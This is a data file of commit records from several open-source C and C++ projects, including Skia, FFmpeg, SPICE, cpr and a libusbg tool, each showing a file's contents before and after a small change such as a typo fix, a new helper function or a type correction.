{"commit":"e8a46c51e607caedec168f26c73595fed10b3afb","old_file":"lib\/shared\/mem.h","new_file":"lib\/shared\/mem.h","old_contents":"#ifndef MEM_H__\n#define MEM_H__\n\n#include <stdlib.h>\n\nvoid *xmalloc (size_t size);\nvoid *xcalloc (size_t count, size_t size);\nvoid *xrealloc (void *ptr, size_t size);\nchar *xstralloc (size_t len);\nvoid *xmemdupz (const void *data, size_t len);\nchar *xstrndup (const char *str, size_t len);\nvoid xfree (void *ptr);\n\nvoid xmemreport (void);\n\n#endif \/* MEM_H__ *\/\n\n\/*\n Local Variables:\n mode: C\n tab-width: 2\n indent-tabs-mode: nil\n End:\n vim: sw=2:sts=2:expandtab\n*\/\n","new_contents":"#ifndef MEM_H__\n#define MEM_H__\n\n#include <stdlib.h>\n\nvoid *xmalloc (size_t size);\nvoid *xcalloc (size_t count, size_t size);\nvoid *xrealloc (void *ptr, size_t size);\nchar *xstralloc (size_t len);\nvoid *xmemdupz (const void *data, size_t len);\nchar *xstrndup (const char *str, size_t len);\nvoid xfree (void *ptr);\n\nsize_t xmembytes();\nsize_t xmemnew();\nsize_t xmemfreed();\nvoid xmemreport (void);\n\n#endif \/* MEM_H__ *\/\n\n\/*\n Local Variables:\n mode: C\n tab-width: 2\n indent-tabs-mode: nil\n End:\n vim: sw=2:sts=2:expandtab\n*\/\n","subject":"Add report functions for x*()","message":"Add report functions for x*()\n\nSigned-off-by: Olivier Mehani <9858fe98d2c7f5f35e0d2a08f134cfc58afd42d3@nicta.com.au>\n","lang":"C","license":"mit","repos":"lees0414\/EUproject,mytestbed\/oml,mytestbed\/oml,lees0414\/EUproject,alco90\/soml,alco90\/soml,lees0414\/EUproject,lees0414\/EUproject,mytestbed\/oml,mytestbed\/oml,alco90\/soml,alco90\/soml,mytestbed\/oml,lees0414\/EUproject,alco90\/soml"}
{"commit":"ee3a5993668d17a478a4e1ec7edd2f706b5bdfce","old_file":"include\/cpr\/body.h","new_file":"include\/cpr\/body.h","old_contents":"#ifndef CPR_BODY_H\n#define CPR_BODY_H\n\n#include <cstring>\n\n#include <initializer_list>\n#include <string>\n\n#include \"defines.h\"\n\nnamespace cpr {\n\nclass Body : public std::string {\n  public:\n    Body() = default;\n    Body(const Body& rhs) = default;\n    Body(Body&& rhs) = default;\n    Body& operator=(const Body& rhs) = default;\n    Body& operator=(Body&& rhs) = default;\n    explicit Body(const char* raw_string) : std::string(raw_string) {}\n    explicit Body(const char* raw_string, size_t length) : std::string(raw_string, length) {}\n    explicit Body(size_t to_fill, char character) : std::string(to_fill, character) {}\n    explicit Body(const std::string& std_string) : std::string(std_string) {}\n    explicit Body(const std::string& std_string, size_t position, size_t length = std::string::npos)\n            : std::string(std_string, position, length) {}\n    explicit Body(std::initializer_list<char> il) : std::string(il) {}\n    template <class InputIterator>\n    explicit Body(InputIterator first, InputIterator last)\n            : std::string(first, last) {}\n};\n\n} \/\/ namespace cpr\n\n#endif\n","new_contents":"#ifndef CPR_BODY_H\n#define CPR_BODY_H\n\n#include <cstring>\n\n#include <initializer_list>\n#include <string>\n\n#include \"defines.h\"\n\nnamespace cpr {\n\nclass Body : public std::string {\n  public:\n    Body() = default;\n    Body(const Body& rhs) = default;\n    Body(Body&& rhs) = default;\n    Body& operator=(const Body& rhs) = default;\n    Body& operator=(Body&& rhs) = default;\n    explicit Body(const char* raw_string) : std::string(raw_string) {}\n    explicit Body(const char* raw_string, size_t length) : std::string(raw_string, length) {}\n    explicit Body(size_t to_fill, char character) : std::string(to_fill, character) {}\n    explicit Body(const std::string& std_string) : std::string(std_string) {}\n    explicit Body(const std::string& std_string, size_t position, size_t length = std::string::npos)\n            : std::string(std_string, position, length) {}\n    explicit Body(std::string&& std_string) : std::string(std::move(std_string)) {}\n    explicit Body(std::initializer_list<char> il) : std::string(il) {}\n    template <class InputIterator>\n    explicit Body(InputIterator first, InputIterator last)\n            : std::string(first, last) {}\n};\n\n} \/\/ namespace cpr\n\n#endif\n","subject":"Move constructor from std::string for cpr::Body","message":"Move constructor from std::string for cpr::Body\n\nCurrently it uses only copy-stors.","lang":"C","license":"mit","repos":"whoshuu\/cpr,whoshuu\/cpr,whoshuu\/cpr"}
{"commit":"b1de9c948f9794db97ed7d34b8cbcdccc206ea77","old_file":"src\/gallium\/drivers\/nv30\/nv30_clear.c","new_file":"src\/gallium\/drivers\/nv30\/nv30_clear.c","old_contents":"#include \"pipe\/p_context.h\"\n#include \"pipe\/p_defines.h\"\n#include \"pipe\/p_state.h\"\n\n#include \"nv30_context.h\"\n\nvoid\nnv30_clear(struct pipe_context *pipe, struct pipe_surface *ps,\n\t   unsigned clearValue)\n{\n\tpipe->surface_fill(pipe, ps, 0, 0, ps->width, ps->height, clearValue);\n}\n","new_contents":"#include \"pipe\/p_context.h\"\n#include \"pipe\/p_defines.h\"\n#include \"pipe\/p_state.h\"\n\n#include \"nv30_context.h\"\n\nvoid\nnv30_clear(struct pipe_context *pipe, struct pipe_surface *ps,\n\t   unsigned clearValue)\n{\n\tpipe->surface_fill(pipe, ps, 0, 0, ps->width, ps->height, clearValue);\n\tps->status = PIPE_SURFACE_STATUS_CLEAR;\n}\n","subject":"Set pipe status on clear","message":"nv30: Set pipe status on clear\n","lang":"C","license":"mit","repos":"metora\/MesaGLSLCompiler,dellis1972\/glsl-optimizer,mcanthony\/glsl-optimizer,KTXSoftware\/glsl2agal,mcanthony\/glsl-optimizer,tokyovigilante\/glsl-optimizer,adobe\/glsl2agal,tokyovigilante\/glsl-optimizer,wolf96\/glsl-optimizer,bkaradzic\/glsl-optimizer,zz85\/glsl-optimizer,djreep81\/glsl-optimizer,djreep81\/glsl-optimizer,benaadams\/glsl-optimizer,zeux\/glsl-optimizer,benaadams\/glsl-optimizer,benaadams\/glsl-optimizer,zz85\/glsl-optimizer,zeux\/glsl-optimizer,dellis1972\/glsl-optimizer,adobe\/glsl2agal,wolf96\/glsl-optimizer,benaadams\/glsl-optimizer,tokyovigilante\/glsl-optimizer,tokyovigilante\/glsl-optimizer,KTXSoftware\/glsl2agal,wolf96\/glsl-optimizer,bkaradzic\/glsl-optimizer,adobe\/glsl2agal,jbarczak\/glsl-optimizer,adobe\/glsl2agal,bkaradzic\/glsl-optimizer,wolf96\/glsl-optimizer,djreep81\/glsl-optimizer,bkaradzic\/glsl-optimizer,zeux\/glsl-optimizer,metora\/MesaGLSLCompiler,zeux\/glsl-optimizer,KTXSoftware\/glsl2agal,jbarczak\/glsl-optimizer,dellis1972\/glsl-optimizer,mapbox\/glsl-optimizer,metora\/MesaGLSLCompiler,dellis1972\/glsl-optimizer,mcanthony\/glsl-optimizer,dellis1972\/glsl-optimizer,mcanthony\/glsl-optimizer,zeux\/glsl-optimizer,mapbox\/glsl-optimizer,KTXSoftware\/glsl2agal,benaadams\/glsl-optimizer,benaadams\/glsl-optimizer,djreep81\/glsl-optimizer,djreep81\/glsl-optimizer,mapbox\/glsl-optimizer,zz85\/glsl-optimizer,bkaradzic\/glsl-optimizer,tokyovigilante\/glsl-optimizer,mcanthony\/glsl-optimizer,wolf96\/glsl-optimizer,jbarczak\/glsl-optimizer,zz85\/glsl-optimizer,adobe\/glsl2agal,zz85\/glsl-optimizer,jbarczak\/glsl-optimizer,mapbox\/glsl-optimizer,zz85\/glsl-optimizer,mapbox\/glsl-optimizer,KTXSoftware\/glsl2agal,jbarczak\/glsl-optimizer"}
{"commit":"22c6aa126d7d88b4e19c64418aeecdc6cc032233","old_file":"include\/core\/SkMilestone.h","new_file":"include\/core\/SkMilestone.h","old_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 85\n#endif\n","new_contents":"\/*\n * Copyright 2016 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n#ifndef SK_MILESTONE\n#define SK_MILESTONE 86\n#endif\n","subject":"Update Skia milestone to 86","message":"Update Skia milestone to 86\n\nChange-Id: Id81c58007f74816a8c2ac0831d61c041c5a7468c\nReviewed-on: https:\/\/skia-review.googlesource.com\/c\/skia\/+\/298916\nReviewed-by: Heather Miller <2e22000c5d22374561fe5fba576a31095b72dc2e@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,google\/skia,google\/skia"}
{"commit":"03186dd5ad61d9d9bc366ec5e23e313910ddb48f","old_file":"sigaltstack.c","new_file":"sigaltstack.c","old_contents":"#include <stdio.h>\n#include <signal.h>\n#include <unistd.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <setjmp.h>\n\njmp_buf try;\n\nvoid handler(int sig) {\n  static int i = 0;\n\n  write(2, \"stack overflow\\n\", 15);\n  longjmp(try, ++i);\n  _exit(1);\n}\n\nunsigned recurse(unsigned x) {\n    return recurse(x)+1;    \n}\n\nint main() {\n  static char stack[SIGSTKSZ];\n  stack_t ss = {\n    .ss_size = SIGSTKSZ,\n    .ss_sp = stack,\n  };\n  struct sigaction sa = {\n    .sa_handler = handler,\n    .sa_flags = SA_ONSTACK\n  };\n\n  sigaltstack(&ss, 0);\n  sigfillset(&sa.sa_mask);\n  sigaction(SIGSEGV, &sa, 0);\n  if (setjmp(try) < 3) {\n    recurse(0);\n  } else {\n    printf(\"caught exception!\\n\");    \n  }\n\n  return 0;\n}\n","new_contents":"#include <stdio.h>\n#include <signal.h>\n#include <unistd.h>\n#include <assert.h>\n#include <stdlib.h>\n#include <setjmp.h>\n\njmp_buf try;\n\nvoid handler(int sig) {\n  static int i = 0;\n\n  write(2, \"stack overflow\\n\", 15);\n  longjmp(try, ++i);\n  _exit(1);\n}\n\nunsigned recurse(unsigned x) {\n    return recurse(x)+1;    \n}\n\nint main() {\n  char* stack;\n  stack = malloc(sizeof(stack) * SIGSTKSZ);\n  stack_t ss = {\n    .ss_size = SIGSTKSZ,\n    .ss_sp = stack,\n  };\n  struct sigaction sa = {\n    .sa_handler = handler,\n    .sa_flags = SA_ONSTACK\n  };\n\n  sigaltstack(&ss, 0);\n  sigfillset(&sa.sa_mask);\n  sigaction(SIGSEGV, &sa, 0);\n  if (setjmp(try) < 3) {\n    recurse(0);\n  } else {\n    printf(\"caught exception!\\n\");    \n  }\n\n  return 0;\n}\n","subject":"Put alternate stack on heap","message":"Put alternate stack on heap\n","lang":"C","license":"apache-2.0","repos":"danluu\/setjmp-longjmp-ucontext-snippets,danluu\/setjmp-longjmp-ucontext-snippets"}
{"commit":"4222e15ceb2f64cbc517d8290d2c8fb7c2a6b178","old_file":"include\/patts\/admin.h","new_file":"include\/patts\/admin.h","old_contents":"\/*\n *  libpatts - Backend library for PATTS Ain't Time Tracking Software\n *  Copyright (C) 2014 Delwink, LLC\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as published by\n *  the Free Software Foundation.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef DELWINK_PATTS_ADMIN_H\n#define DELWINK_PATTS_ADMIN_H\n\n#include <cquel.h>\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nint patts_create_user(const struct dlist *info, const char *host,\n        const char *passwd);\nint patts_create_task(const struct dlist *info);\n\nint patts_enable_user(const char *id);\nint patts_enable_task(const char *id);\n\nint patts_disable_user(const char *id);\nint patts_disable_task(const char *id);\n\nint patts_grant_admin(const char *id);\nint patts_revoke_admin(const char *id);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","new_contents":"\/*\n *  libpatts - Backend library for PATTS Ain't Time Tracking Software\n *  Copyright (C) 2014 Delwink, LLC\n *\n *  This program is free software: you can redistribute it and\/or modify\n *  it under the terms of the GNU Affero General Public License as published by\n *  the Free Software Foundation.\n *\n *  This program is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *  GNU Affero General Public License for more details.\n *\n *  You should have received a copy of the GNU Affero General Public License\n *  along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef DELWINK_PATTS_ADMIN_H\n#define DELWINK_PATTS_ADMIN_H\n\n#include <cquel.h>\n\n#ifdef __cplusplus\nextern \"C\"\n{\n#endif\n\nint patts_create_user(const struct dlist *info, const char *host,\n        const char *passwd);\nint patts_create_task(const struct dlist *info);\n\nint patts_delete_user(const char *id);\nint patts_delete_task(const char *id);\n\nint patts_grant_admin(const char *id);\nint patts_revoke_admin(const char *id);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n","subject":"Change scope of state column","message":"Change scope of state column\n","lang":"C","license":"agpl-3.0","repos":"delwink\/libpatts,delwink\/libpatts"}
{"commit":"e6afdae011102bc110d072c33e2704bccc7cc6e4","old_file":"utils.h","new_file":"utils.h","old_contents":"#ifndef UTILS_H\n#define UTILS_H\n\n#include <string>\n\n\/** \\brief Convert given container to it's hex representation *\/\ntemplate< typename T >\nstd::string toHex( const T& data )\n{\n    static const char charTable[] = \"0123456789abcdef\";\n\n    std::string ret;\n    if ( data.size() > 1024 )\n    {\n        ret = \"*** LARGE *** \";\n        for ( size_t i=0; i<40; i++ )\n        {\n            ret.push_back( charTable[ ( data[i] >> 4 ) & 0xF ] );\n            ret.push_back( charTable[ ( data[i] >> 0 ) & 0xF ] );\n        }\n\n        ret.append(\"...\");\n\n        for ( size_t i=data.size()-40; i<data.size(); i++ )\n        {\n            ret.push_back( charTable[ ( data[i] >> 4 ) & 0xF ] );\n            ret.push_back( charTable[ ( data[i] >> 0 ) & 0xF ] );\n        }\n    }\n    else\n    {\n        for ( const auto& val: data )\n        {\n            ret.push_back( charTable[ ( val >> 4 ) & 0xF ] );\n            ret.push_back( charTable[ ( val >> 0 ) & 0xF ] );\n        }\n    }\n    return ret;\n}\n\n\n#endif \/\/ UTILS_H\n","new_contents":"#ifndef UTILS_H\n#define UTILS_H\n\n#include <string>\n\n\/** \\brief Convert given container to it's hex representation *\/\ntemplate< typename T >\nstd::string toHex( const T& data )\n{\n    static const char charTable[] = \"0123456789abcdef\";\n\n    std::string ret;\n    if ( data.size() > 80 )\n    {\n        ret = \"*** LARGE *** \";\n        for ( size_t i=0; i<40; i++ )\n        {\n            ret.push_back( charTable[ ( data[i] >> 4 ) & 0xF ] );\n            ret.push_back( charTable[ ( data[i] >> 0 ) & 0xF ] );\n        }\n\n        ret.append(\"...\");\n\n        for ( size_t i=data.size()-40; i<data.size(); i++ )\n        {\n            ret.push_back( charTable[ ( data[i] >> 4 ) & 0xF ] );\n            ret.push_back( charTable[ ( data[i] >> 0 ) & 0xF ] );\n        }\n    }\n    else\n    {\n        for ( const auto& val: data )\n        {\n            ret.push_back( charTable[ ( val >> 4 ) & 0xF ] );\n            ret.push_back( charTable[ ( val >> 0 ) & 0xF ] );\n        }\n    }\n    return ret;\n}\n\n\n#endif \/\/ UTILS_H\n","subject":"Make the hex dump size limit much smaller","message":"Make the hex dump size limit much smaller\n","lang":"C","license":"bsd-3-clause","repos":"cinode\/cpptestapp,cinode\/cpptestapp"}
{"commit":"67b7a13204c1505a59351de0d25eeeb51fc93e89","old_file":"uranus_dp\/include\/uranus_dp\/vortex_helper.h","new_file":"uranus_dp\/include\/uranus_dp\/vortex_helper.h","old_contents":"","new_contents":"#ifndef VORTEX_HELPER_H\n#define VORTEX_HELPER_H\n\n#include \"uranus_dp\/control_mode_enum.h\"\n\ninline std::string controlModeString(ControlMode control_mode)\n{\n  std::string s;\n  switch(control_mode)\n  {\n    case ControlModes::OPEN_LOOP:\n    s = \"Open Loop\";\n    break;\n\n    case ControlModes::SIXDOF:\n    s = \"Six DOF\";\n    break;\n\n    case ControlModes::RPY_DEPTH:\n    s = \"RPY Depth\";\n    break;\n\n    case ControlModes::DEPTH_HOLD:\n    s = \"Depth Hold\";\n    break;\n\n    default:\n    s = \"Invalid Control Mode\";\n    break;\n  }\n  return s;\n}\n\n#endif\n","subject":"Write control mode to string function","message":"Write control mode to string function\n","lang":"C","license":"mit","repos":"vortexntnu\/rov-control,vortexntnu\/rov-control,vortexntnu\/rov-control"}
{"commit":"ec43d9ca215e7e9f0ea782e26367d52c9468f7ff","old_file":"src\/lextest.c","new_file":"src\/lextest.c","old_contents":"#include \"config.h\"\n#include <stdio.h>\n#include <string.h>\n\n#include \"lexicon.h\"\n#include \"hash.h\"\n#include \"array.h\"\n#include \"util.h\"\n#include \"mem.h\"\n\nint main(int argc, char **argv)\n{\n  lexicon_pt l=read_lexicon_file(argv[1]);\n  char s[4000];\n  \n  printf(\"Read %ld lexical entries.\\n\", (long int)hash_size(l->words));\n  while (fgets(s, 1000, stdin))\n    {\n      word_pt w;\n      int i, sl=strlen(s);\n\n      for (sl--; sl>=0 && s[sl]=='\\n'; sl--) { s[sl]='\\0'; }\n      w=hash_get(l->words, s);\n      if (!w) { printf(\"No such word \\\"%s\\\".\\n\", s); continue; }\n\n      printf(\"%s[%d,%s]:\", s, w->defaulttag, tagname(l, w->defaulttag));\n      for (i=0; w->sorter[i]>0; i++)\n\t{\n\t  printf(\"\\t%s %d\", (char *)array_get(l->tags, w->sorter[i]), w->tagcount[w->sorter[i]]);\n\t}\n      printf(\"\\n\");\n    }\n\n  \/* Free the memory held by util.c. *\/\n  util_teardown();\n}\n","new_contents":"#include \"config.h\"\n#include <stdio.h>\n#include <string.h>\n\n#include \"lexicon.h\"\n#include \"hash.h\"\n#include \"array.h\"\n#include \"util.h\"\n#include \"mem.h\"\n\nint main(int argc, char **argv)\n{\n  lexicon_pt l=read_lexicon_file(argv[1]);\n  char s[4000];\n  \n  printf(\"Read %ld lexical entries.\\n\", (long int)hash_size(l->words));\n  while (fgets(s, 1000, stdin))\n    {\n      word_pt w;\n      int i, sl=strlen(s);\n\n      for (sl--; sl>=0 && s[sl]=='\\n'; sl--) { s[sl]='\\0'; }\n      w=hash_get(l->words, s);\n      if (!w) { printf(\"No such word \\\"%s\\\".\\n\", s); continue; }\n\n      printf(\"%s[%d,%s]:\", s, w->defaulttag, tagname(l, w->defaulttag));\n      for (i=0; w->sorter[i]>0; i++)\n\t{\n\t  printf(\"\\t%s %d\", (char *)array_get(l->tags, w->sorter[i]), w->tagcount[w->sorter[i]]);\n\t}\n      printf(\"\\n\");\n    }\n\n  \/* Free the memory held by util.c. *\/\n  util_teardown();\n\n  return 0;\n}\n","subject":"Return 0 from main as it should.","message":"Return 0 from main as it should.\n","lang":"C","license":"bsd-3-clause","repos":"giuliopaci\/acopost,giuliopaci\/acopost,giuliopaci\/acopost,giuliopaci\/acopost"}
{"commit":"762f4e479e147e15cb8bed3fb0113e04279f87ae","old_file":"lib\/packet_queue.h","new_file":"lib\/packet_queue.h","old_contents":"#ifndef PACKET_QUEUE_H_INCLUDED__\n#define PACKET_QUEUE_H_INCLUDED__\n\n#include \"radio.h\"\n\n#include <stdbool.h>\n\n#define PACKET_QUEUE_SIZE 10\n\ntypedef struct\n{\n    radio_packet_t * head;\n    radio_packet_t * tail;\n    radio_packet_t packets[PACKET_QUEUE_SIZE];\n} packet_queue_t;\n\nuint32_t packet_queue_init(packet_queue_t * queue);\n\nbool packet_queue_is_empty(packet_queue_t * queue);\n\nbool packet_queue_is_full(packet_queue_t * queue);\n\nuint32_t packet_queue_add(packet_queue_t * queue, radio_packet_t * packet);\n\nuint32_t packet_queue_get(packet_queue_t * queue, radio_packet_t ** packet);\n\n#endif\n","new_contents":"#ifndef PACKET_QUEUE_H_INCLUDED__\n#define PACKET_QUEUE_H_INCLUDED__\n\n#include \"radio.h\"\n\n#include <stdbool.h>\n\n#define PACKET_QUEUE_SIZE 10\n\ntypedef struct\n{\n    uint32_t head;\n    uint32_t tail;\n    radio_packet_t packets[PACKET_QUEUE_SIZE];\n} packet_queue_t;\n\nuint32_t packet_queue_init(packet_queue_t * queue);\n\nbool packet_queue_is_empty(packet_queue_t * queue);\n\nbool packet_queue_is_full(packet_queue_t * queue);\n\nuint32_t packet_queue_add(packet_queue_t * queue, radio_packet_t * packet);\n\nuint32_t packet_queue_get(packet_queue_t * queue, radio_packet_t ** packet);\n\n#endif\n","subject":"Fix types of head and tail.","message":"Fix types of head and tail.\n","lang":"C","license":"bsd-3-clause","repos":"hlnd\/nrf51-simple-radio,hlnd\/nrf51-simple-radio"}
{"commit":"2b7eda48618299374655d85ed355973c93d82201","old_file":"libavutil\/random_seed.h","new_file":"libavutil\/random_seed.h","old_contents":"\/*\n * Copyright (c) 2009 Baptiste Coudurier <baptiste.coudurier@gmail.com>\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#ifndef AVUTIL_RANDOM_SEED_H\n#define AVUTIL_RANDOM_SEED_H\n\n#include <stdint.h>\n\n\/**\n * Gets a seed to use in conjuction with random functions.\n *\/\nuint32_t ff_random_get_seed(void);\n\n#endif \/* AVUTIL_RANDOM_SEED_H *\/\n","new_contents":"\/*\n * Copyright (c) 2009 Baptiste Coudurier <baptiste.coudurier@gmail.com>\n *\n * This file is part of FFmpeg.\n *\n * FFmpeg is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * FFmpeg is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with FFmpeg; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#ifndef AVUTIL_RANDOM_SEED_H\n#define AVUTIL_RANDOM_SEED_H\n\n#include <stdint.h>\n\n\/**\n * Gets a seed to use in conjunction with random functions.\n *\/\nuint32_t ff_random_get_seed(void);\n\n#endif \/* AVUTIL_RANDOM_SEED_H *\/\n","subject":"Fix typo: 'conjuction' -> 'conjunction'.","message":"Fix typo: 'conjuction' -> 'conjunction'.\n\n\ngit-svn-id: a4d7c1866f8397a4106e0b57fc4fbf792bbdaaaf@17989 9553f0bf-9b14-0410-a0b8-cfaf0461ba5b\n","lang":"C","license":"lgpl-2.1","repos":"prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg,prajnashi\/ffmpeg"}
{"commit":"952aaca3d7c3be9da8487e6316721a802ab5261b","old_file":"server\/tests\/stat-main.c","new_file":"server\/tests\/stat-main.c","old_contents":"\/* -*- Mode: C; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n   Copyright (C) 2015 Red Hat, Inc.\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n\/* check statistics\n *\/\n\n#include <config.h>\n#include <glib.h>\n\ntypedef void test_func_t(void);\n\ntest_func_t stat_test1;\ntest_func_t stat_test2;\ntest_func_t stat_test3;\ntest_func_t stat_test4;\n\nstatic test_func_t *test_funcs[] = {\n    stat_test1,\n    stat_test2,\n    stat_test3,\n    stat_test4,\n    NULL\n};\n\nint main(void)\n{\n    test_func_t **func_p;\n\n    for (func_p = test_funcs; *func_p; ++func_p) {\n        (*func_p)();\n    }\n    return 0;\n}\n\n","new_contents":"\/* -*- Mode: C; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n   Copyright (C) 2015 Red Hat, Inc.\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Lesser General Public\n   License as published by the Free Software Foundation; either\n   version 2.1 of the License, or (at your option) any later version.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Lesser General Public License for more details.\n\n   You should have received a copy of the GNU Lesser General Public\n   License along with this library; if not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n\/* check statistics\n *\/\n\n#include <config.h>\n#include <glib.h>\n\ntypedef void test_func_t(void);\n\ntest_func_t stat_test1;\ntest_func_t stat_test2;\ntest_func_t stat_test3;\ntest_func_t stat_test4;\n\nstatic test_func_t *test_funcs[] = {\n    stat_test1,\n    stat_test2,\n    stat_test3,\n    stat_test4,\n    NULL\n};\n\nint main(void)\n{\n    test_func_t **func_p;\n\n    for (func_p = test_funcs; *func_p; ++func_p) {\n        (*func_p)();\n    }\n    return 0;\n}\n","subject":"Remove empty line at EOF","message":"syntax-check: Remove empty line at EOF\n\nAcked-by: Christophe Fergeau <05b95054a663c388a4e33d95828cb30f0370f8ef@redhat.com>\n","lang":"C","license":"lgpl-2.1","repos":"fgouget\/spice,SPICE\/spice,fgouget\/spice,fgouget\/spice,SPICE\/spice,SPICE\/spice,fgouget\/spice"}
{"commit":"96430e414762391ff89b48b6c63c0983ff11365f","old_file":"source\/udc\/src\/udc_libusbg.c","new_file":"source\/udc\/src\/udc_libusbg.c","old_contents":"\/*\n * Copyright (c) 2012-2015 Samsung Electronics Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n\n#include \"udc.h\"\n#include <stdlib.h>\n\nstruct gt_udc_backend gt_udc_backend_libusbg = {\n\t.udc = NULL,\n};\n","new_contents":"\/*\n * Copyright (c) 2012-2015 Samsung Electronics Co., Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <stdio.h>\n#include <usbg\/usbg.h>\n\n#include \"backend.h\"\n#include \"udc.h\"\n\nstatic int udc_func(void *data)\n{\n\tusbg_udc *u;\n\tconst char *name;\n\n\tusbg_for_each_udc(u, backend_ctx.libusbg_state) {\n\t\tname = usbg_get_udc_name(u);\n\t\tif (name == NULL) {\n\t\t\tfprintf(stderr, \"Error getting udc name\\n\");\n\t\t\treturn -1;\n\t\t}\n\n\t\tputs(name);\n\t}\n\n\treturn 0;\n}\n\nstruct gt_udc_backend gt_udc_backend_libusbg = {\n\t.udc = udc_func,\n};\n","subject":"Add gadget udc command at libusbg backend","message":"udc: Add gadget udc command at libusbg backend\n\nChange-Id: If1510069df2e6cd2620c89576ebba80685cb07d7\nSigned-off-by: Pawel Szewczyk <1691dcf8dab804b326e5e4b9ab228a1c3b23a2f2@samsung.com>\n","lang":"C","license":"apache-2.0","repos":"kopasiak\/gt,kopasiak\/gt"}
